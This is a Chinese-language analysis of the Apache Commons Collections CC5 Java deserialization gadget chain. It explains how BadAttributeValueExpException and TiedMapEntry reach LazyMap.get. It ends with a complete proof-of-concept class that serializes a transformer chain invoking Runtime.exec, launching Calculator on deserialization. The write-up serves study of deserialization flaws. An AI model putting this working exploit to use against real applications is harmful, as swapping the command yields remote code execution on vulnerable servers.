1.CommonsCollections5利用链分析
这个利用链和CC1同样使用了lazyMap,通过调用lazyMap的get方法获取一个不存在的键来触发ChainedTransformer.transform()。CC1中使用的是AnnotationInvocationHandler作为代理类,在invoke方法中触发lazyMap.get()。CC5中,作者使用了TiedMapEntry和BadAttributeValueExpException来触发lazyMap.get。首先来看一下这两个类:
1.1 TiedMapEntry
该类保存于org.apache.commons.collections.keyvalue.TiedMapEntry,
首先来看一下这个类的构造函数,代码如下:
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
传入两个参数,一个是Map,另一个是一个对象,然后分别赋值给类内部的两个属性。那么如果map传入一个我们构造的lazyMap那么只要调用map.get即可触发lazyMap.get。恰好就在TiedMapEntry.getValue方法中有调用,代码如下:
public Object getValue() {
return map.get(key);
}
并且TiedMapEntry.toString中调用了TiedMapEntry.getValue,代码如下:
public String toString() {
return getKey() + "=" + getValue();
}
因此只要我们的TiedMapEntry设置map属性为恶意的LazyMap,并且getValue或者toString方法被调用即可触发LazyMap.get。这里作者使用了BadAttributeValueExpException来在反序列化中触发TiedMapEntry.getValue。
1.2 BadAttributeValueExpException
该类保存于javax.management.BadAttributeValueExpException,先看一下该类的readObject方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);//获取val实例
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();//可以看到这里调用了toString方法
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
代码中关键部分为Object valObj = gf.get("val", null);和val = valObj.toString();。首先获取一个名为val属性的实例,当val实例不为null,并且不属于String类时,并且System.getSecurityManager() == null时便会触发valObj.toString();。这里假如我们的val属性设置为一个1.1节中构造的恶意TiedMapEntry,那么就会触发lazyMap.get。当然作者也是这么使用的。不过先看一下System.getSecurityManager为什么会等于null?以及这是什么东西?
1.3 System.getSecurityManager
当运行未知的Java程序的时候,该程序可能有恶意代码,此时就可以使用SecurityManager(Java安全管理器) 来设置禁止程序执行哪些操作,例如禁止执行关机、删除文件等操作。启用Java安全管理器需要添加一个配置文件来指明权限,并在启动程序时通过附加参数启动安全管理器。例如:
java -jar test.jar -Djava.security.manager -Djava.security.policy="/tmp/java.policy"
如何配置该安全管理器不是我们学习的重点,我们只需要知道如果运行时未指定启动安全管理器则System.getSecurityManager()得到的结果将会是null。
1.4 CC5源码
综上所属,反序列化时调用栈如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
....省略....
//后面就是触发ChainedTransformer.transform()那一串了
测试代码如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//设置val,这里注意之所以在这里用反射方法设置,主要是因为BadAttributeValueExpException构造函数会调用传入实例的toString
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
//设置iTransformers参数
Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain, transformers);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}